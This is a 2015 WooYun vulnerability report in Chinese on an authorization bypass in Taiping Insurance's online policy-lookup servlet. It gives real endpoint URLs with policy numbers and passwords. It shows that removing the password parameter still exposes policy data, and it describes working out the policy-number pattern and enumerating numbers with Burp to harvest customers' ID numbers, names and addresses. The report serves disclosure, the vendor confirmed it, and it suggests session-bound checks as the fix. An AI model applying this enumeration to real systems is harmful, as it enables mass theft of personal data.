当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143931

漏洞标题:太平保险公司设计不当可泄露大量客户保单信息

相关厂商:cntaiping.com

漏洞作者: 路人甲

提交时间:2015-09-28 18:10

修复时间:2015-11-12 23:38

公开时间:2015-11-12 23:38

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-28: 细节已通知厂商并且等待厂商处理中
2015-09-28: 厂商已经确认,细节仅向厂商公开
2015-10-08: 细节向核心白帽子及相关领域专家公开
2015-10-18: 细节向普通白帽子公开
2015-10-28: 细节向实习白帽子公开
2015-11-12: 细节向公众公开

简要描述:

保单查询验证功能有权限漏洞,可通过保单号直接访问客户保单信息页面,并可随意下载保单文件。造成客户信息泄露。

详细说明:

网站权限验证绕过后可查询用户信息,下载保单,造成用户投保信息泄露。由于保单号很好推测,造成黑客可轻易获取大量保单信息(身份证,姓名,性别,手机,邮件,地址,投保等)。

漏洞证明:

浏览网站时发现太平保险存在网站信息泄露如图:

百度信息泄露.png


整理了一下,发现泄露的就5条,并不多:
http://life.cntaiping.com/eservice/servlet/com.cntaiping.eservice.ePolicy.EPolicyServlet?methodName=getPolicyInfo&policyCode=000015515180312&policyPassword=972395
http://life.cntaiping.com/eservice/servlet/com.cntaiping.eservice.ePolicy.EPolicyServlet?methodName=getPolicyInfo&policyCode=000015537927312&policyPassword=457177
http://life.cntaiping.com/eservice/servlet/com.cntaiping.eservice.ePolicy.EPolicyServlet?methodName=getPolicyInfo&policyCode=000014276596312&policyPassword=330946
http://life.cntaiping.com/eservice/servlet/com.cntaiping.eservice.ePolicy.EPolicyServlet?methodName=getPolicyInfo&policyCode=000013818546312&policyPassword=824007
http://life.cntaiping.com/eservice/servlet/com.cntaiping.eservice.ePolicy.EPolicyServlet?methodName=getPolicyInfo&policyCode=000015379925312&policyPassword=424083
随便进去看看,发现可以浏览用户信息及保单下载:
客户信息

客户信息.png


保单下载

保单下载.png


尝试删除policyPassword值访问后依旧可看信息及下载,判定存在权限问题。
接下来分析了下得到的5个保单号码:
000015515180312
000015537927312
000014276596312
000013818546312
000015379925312
发现规则如下:00001XXXXXXX312,使用burp撞保单号看看:

burp撞保单号码.png


随便跑了2分钟就有一堆了,随便点个进去看看:

http://life.cntaiping.com/eservice/servlet/com.cntaiping.eservice.ePolicy.EPolicyServlet?methodName=getPolicyInfo&policyCode=000013820920312&policyPassword=


验证信息1.png


下载保单:

验证保单.png


保险点,再验证个:

http://life.cntaiping.com/eservice/servlet/com.cntaiping.eservice.ePolicy.EPolicyServlet?methodName=getPolicyInfo&policyCode=000013819188312&policyPassword=


验证信息2.png


验证保单2.png


剩下就是弄个小shell扒信息了。。。。。

修复方案:

权限验证修复就行了,查询保单号要绑定会话验证。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-28 23:36

厂商回复:

非常感谢白帽子。

最新状态:

暂无